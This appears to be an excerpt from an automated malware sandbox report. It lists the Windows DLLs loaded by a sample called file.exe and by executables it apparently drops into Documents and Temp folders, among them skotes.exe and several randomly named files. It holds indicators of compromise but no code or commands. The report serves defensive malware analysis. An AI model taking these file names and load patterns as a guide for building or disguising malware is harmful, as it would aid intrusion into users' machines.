Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
